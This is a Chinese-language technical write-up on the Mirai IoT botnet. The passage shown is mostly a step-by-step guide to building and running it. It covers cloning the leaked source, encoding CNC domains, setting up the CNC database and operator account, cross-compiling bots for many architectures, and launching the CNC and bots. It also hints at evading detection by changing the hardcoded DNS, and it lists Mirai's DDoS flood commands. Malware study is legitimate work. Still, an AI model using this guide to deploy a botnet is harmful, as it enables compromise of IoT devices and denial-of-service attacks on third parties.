Mirai 总结—从源码到反汇编
By 帝星捧月
Mirai 总结—从源码到反汇编...................................................................................... 1
一、 Mirai 环境配置和编译步骤........................................................................ 1
1. Mirai 的作者的安装指南.......................................................................... 1
2. 编译环境需求...........................................................................................1
3. 下载源码...................................................................................................2
4. 编译加密模块和配置 CNC.......................................................................2
5. 启动 Mysql 服务....................................................................................... 2
6. 配置交叉编译环境...................................................................................2
7. 编译 CNC 和 BOT...................................................................................... 4
二、 源码分析......................................................................................................4
1. CNC 部分原理分析.................................................................................... 4
2. Telnet 如何控制和感染 Bot.................................................................... 10
3. 用户登录 CNC 流程................................................................................15
4. 通过 CNC 将 Attack 下发........................................................................16
5. Payload 模块分析.................................................................................... 27
6. Loader 模块分析......................................................................................44
三. Mirai 样本反汇编...................................................................................... 54
1. 样本简介.................................................................................................54
2. 概览.........................................................................................................54
3. 分析.........................................................................................................54
四. 参考资料....................................................................................................56
一、Mirai 环境配置和编译步骤
1. Mirai 的作者的安装指南
https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.md
2. 编译环境需求
Mirai 使用了 C,Go 两种编程语言,使用数据库存储数据,因此
sudo apt-get install git gcc golang electric-fence mysql-server mysql-client
3. 下载源码
git clone https://github.com/jgamblin/Mirai-Source-Code
4. 编译加密模块和配置 CNC
cd mirai/tools && gcc enc.c -o enc.out
./enc.out string cnc.xxxx.com
./enc.out string report.xxxx.com
修改 tables.c 文件,将上述字符串替换到 add_entry 两项中
Cd ../../scripts
Vim db.sql
添加”use mirai”
5. 启动 Mysql 服务
Service mysql start
Cat db.sql | mysql -uroot -proot
Mysql -uroot -proot mirai
INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');
Exit
修改 Main.go 中 Database 相关字段,与设置的数据库匹配
6. 配置交叉编译环境
Cd .. && mkdir cross-compile-bin
Cd cross-compile-bin
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz
2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget
https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2
Cd ../scripts
Sudo ./cross-compile.sh
编译过程会提示是否安装 mysql,选否就可以
修改.bashrc,把刚才交叉编译的bin 目录加进去方便使用(没有 GO 环境的也要配置
GO 环境)
export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin
export GOPATH=$HOME/go
修改完成后 source 一下
7. 编译 CNC 和 BOT
go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords
Cd ../mirai
./build.sh debug telnet
Cd ../loader
./build.sh
Ok,至此 Mirai 环境搭建部分就结束了。
二、源码分析
首先是 Mirai 源码的目录结构
Loader 主要将攻击载荷直接上传到受害者设备,像宏病毒和下载者,这也是对能
否成功攻击直接相关的部分
Mirai/bot 在受感染者设备上运行的恶意载荷
Mirai/cnc 攻击者进行控制和管理的端口(wget 和 tftp)
Mirai/tools 一些工具函数,如加密,出错处理。
1. CNC 部分原理分析
Cnc 的入口在/Mirai/mirai/cnc/main.go 中
可以看到开启了两个端口,23 用来处理 telnet 登录,101 用作 API 处理。
当监听端口号为 23 时,由接收数据进行判定。若接受数据长度为 4,且分别为
00 00 00 x(x>0)时,为 bot 监听,将对应的 bot 主机添加为新的 bot;否则,则判
断是否是管理员并进行登录,如果成功登录,则可以通过命令执行管理员命令。
再向下走可以看到两个不同的 goroutine,api 对应 apiHandler 和 telnet 对应
initialHandler,里面均调用了 Handle()即处理接受的用户名和密码。
在 Admin.go 中可以看到 Handle()的具体实现,大致可理解为,在编译先读取
prompt.txt 作为提示语使用,没有找到这个文件会直接 return,然后再接受用户
输入的用户名和密码,与数据库存储的信息对比判断。
这里是相对路径,文件位于 Mirai 目录下,打开文件发现是俄文
可以把这里读取 prompt.txt 相关代码注释掉,没有大的影响。
用户逐个字符发送用户名,密码,cnc 接收后返回
接下来启动 cnc(需配置好 Go 环境):
go build -o debug/cnc
./debug/cnc
telnet xxx.cnc.domain 23
登录后使用环境配置时插入的账号密码,登录成功就会看到源码中这些提示,这
cnc/*.go
部分代码比较清晰
在登录过程中输入任意命令都断开,最好将 prompt.txt 路径改成绝对路径,遇到
Missisng in address....,修改/Mirai/mirai/cnc/main.go 加入端口号
const DatabaseAddr string
最后可以使用 mysql -h127.0.0.1 -P3306 -uroot -proot mirai 命令验证一下。
Bot 连接 CNC,在 debug 目录中执行./mirai.dbg。Bot 是通过 table.c 中的设置的域
名来解析 CNC 的服务器,解析域名在 resolv.c 的 resolv_lookup 中硬编码了 DNS
= "127.0.0.1:3306"
服务器的地址 8.8.8.8
修改成其它 DNS,原因你懂的。
进入 Bot 控制台后就可以使用攻击指令了,具体指令使用?来查看帮助(真是贴
心)
这个类似于一些老式的路由器/交换机命令帮助模式,例如输入 udp ?就可以查
看下一个参数提示,非常方便。
攻击指令有 vse, stomp, grepip, udpplain, http, dsn, syn, ack 等,管理指令常用的有
adduser(添加用户并为其分配 Bot),botcount(查询已经接入的 bot 个数)
例如 DDOS 攻击
Available attack list
udp: UDP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
greeth: GRE Ethernet flood
ack: ACK flood
stomp: TCP stomp flood
greip: GRE IP flood
udpplain: UDP flood with less options. optimized for higher PPS
http: HTTP flood
用户通过 CNC 执行攻击指令之后,bot 会收到 CNC 命令并对目标发起攻击,同时,
在 CNC 的 Mysql 库中也可查询到攻击历史。下图是源码部分